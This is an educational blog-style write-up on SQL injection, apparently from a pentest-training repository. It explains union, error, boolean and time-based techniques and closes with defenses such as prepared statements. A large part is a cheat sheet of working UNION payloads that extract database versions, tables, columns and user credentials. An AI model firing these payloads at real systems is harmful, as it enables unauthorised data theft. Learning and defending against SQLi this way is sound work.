DB Snake: How SQL injection works and what to do
March 24, 2026
This week I've been learning and experimenting with SQL injection (SQLi). An all too common vulnerability that allows attackers to make database queries and extract sensitive information quickly and efficiently, compromising everything from analytics to user credentials and personal information (a.k.a. GDPR nightmare). I will explain how SQLi injection works in theory, share a cheat sheet with working payloads you can try out (with permission of course) and discuss how to protect against SQLi.
How SQL Injection works
SQLi exploits unsafe programming where a user input is directly parsed into an SQL query in the backend. By escaping the input field arbitrary SQL queries can be injection to obtain sensitive information.
An example of an unsafe query would be something like this:
SELECT * FROM products where category = 'USER_INPUT'
If user puts in kitchen as a category on the website the backend would query:
SELECT name, price FROM products where category = 'kitchen'
If the input is vulnerable to SQL injection an attacker can instead input kitchen'UNION+SELECT+username,password+FROM+users--
This works because it forms a valid SQL query like this:
SELECT name, price FROM products where category = 'kitchen' UNION SELECT username, password FROM users-- (spaces have been added for clarity). The result will
be a set of data that contains both the products from the kitchen category but additionally has the columns username and password from the users table appended.
The attacker has successfully performed an SQL injection attack and has compromised user credentials.
Types of SQLi
Error Based
Sometimes the web service returns the database error message when SQLi is performed. This helps to identify the backend query and therefore form better SQL injection payloads.
Union Based
By using the UNION command we can aggregate the results of two SELECT queries into a single result. This can be used to append a malicious query appending the extracted information to the real result.
UNION based attacks require the malicious payload to return the same number of columns as the legit query. To find out how many columns are returned we can use context or use
' ORDER BY x--incrementing x by one each time until an error is encountered. If an error is encountered at x=4 we know that there are 3 columns.
Blind // Boolean Based
Can be tested with something like ' AND 1=1--. This allows us to obtain database information using true or false conditions similar to time based attacks. For example
finding the length of database with a query like this ' AND (length(database())) = 1 -- can check if the database length is 1. Similar to time based attacks this is very
slow because no actual data is returned, but it can be used to verify results.
Blind // Time Based
By forcing the database to wait before returning the value with SLEEP(10) we can figure out if the query result is TRUE or FALSE. Depending on the outcome,
the response will either be delayed or returned immediately. No real data is returned, it can only be confirmed bit by bit if the result is True of False making attacks like these
slow, especially with large databases.
Cheat sheet
Get version information
| Oracle | SELECT banner FROM v$versionSELECT version FROM v$instance |
|---|---|
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
(assuming UNION expects two columns)
Oracle
'UNION+SELECT+NULL,banner+FROM+v$version--
Microsoft
'UNION+SELECT+NULL,@@version--
PostgreSQL
'UNION+SELECT+NULL,version()--
MySQL
'UNION+SELECT+NULL,@@version-- c
Get Tables
| Oracle | SELECT * FROM all_tables |
|---|---|
| Microsoft | SELECT * FROM information_schema.tables |
| PostgreSQL | SELECT * FROM information_schema.tables |
| MySQL | SELECT * FROM information_schema.tables |
(assuming UNION expects two columns)
Oracle
'UNION+SELECT+NULL,table_name+FROM+all_tables--
Microsoft
'UNION+SELECT+NULL,table_name+FROM+information_schema.tables--
PostgreSQL
'UNION+SELECT+NULL,table_name+FROM+information_schema.tables--
MySQL
`'UNION+SELECT+NULL,table_name+FROM+information_schema.tables-- c
Get columns
| Oracle | SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
|---|---|
| Microsoft | SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| PostgreSQL | SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| MySQL | SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
(assuming UNION expects two columns)
Oracle
'UNION+SELECT+NULL,all_tab_columns+WHERE+table_name='TABLE_NAME'--
Microsoft
'UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='TABLE_NAME'--
PostgreSQL
'UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='TABLE_NAME'--
MySQL
'UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='TABLE_NAME'-- c
String concatenation
| Oracle | `'foo'\ | 'bar'` |
|---|---|---|
| Microsoft | 'foo'+'bar' |
|
| PostgreSQL | `'foo'\ | 'bar'` |
| MySQL | 'foo' 'bar' CONCAT('foo','bar') |
Column concatenation
|| '~' ||
for example username || '~' || password will retrieve username and password as one column with the value seperated by a ~.
Substring
| Oracle | SUBSTR('foobar', 4, 2) |
|---|---|
| Microsoft | SUBSTRING('foobar', 4, 2) |
| PostgreSQL | SUBSTRING('foobar', 4, 2) |
| MySQL | SUBSTRING('foobar', 4, 2) |
Comments
| Oracle | --comment |
|---|---|
| Microsoft | --comment/*comment*/ |
| PostgreSQL | --comment/*comment*/#comment |
| MySQL | -- comment/*comment*/ |
How to protect against SQLi
Prepared statements
The easiest and one of the safest solutions are prepared statements. Instead of directly inserting data into SQL queries we use a placeholder ?. On execution the application binds the values to the parameters.
Sanitization
Additionally, it is recommended to sanitise data and remove special characters (if not necessarily required) from the value, especially ', , and -. Work on a zero-trust basis. Every character that doesn't need to be supported should be removed.
Encrypt / Hash information
Although this won't prevent SQLi injection, encrypting or hashing your database information makes it harder for attackers to use the extracted information. Instead of valid admin credentials or actual credit card information they'll be left with unidentifiable gibberish.
Conclusion
Although SQLi is one of the most well known web vulnerabilities, millions of services are still exploitable. As part of the OWASP framework it is incredibly important for system administrators to secure their services. I've you've had any value from this I'd really appreciate a star on my pentest-training repository, which this write-up is part of.
Thank you to PortSwigger for providing amazing learning resources, cheat sheets and labs to learn from and experiment with.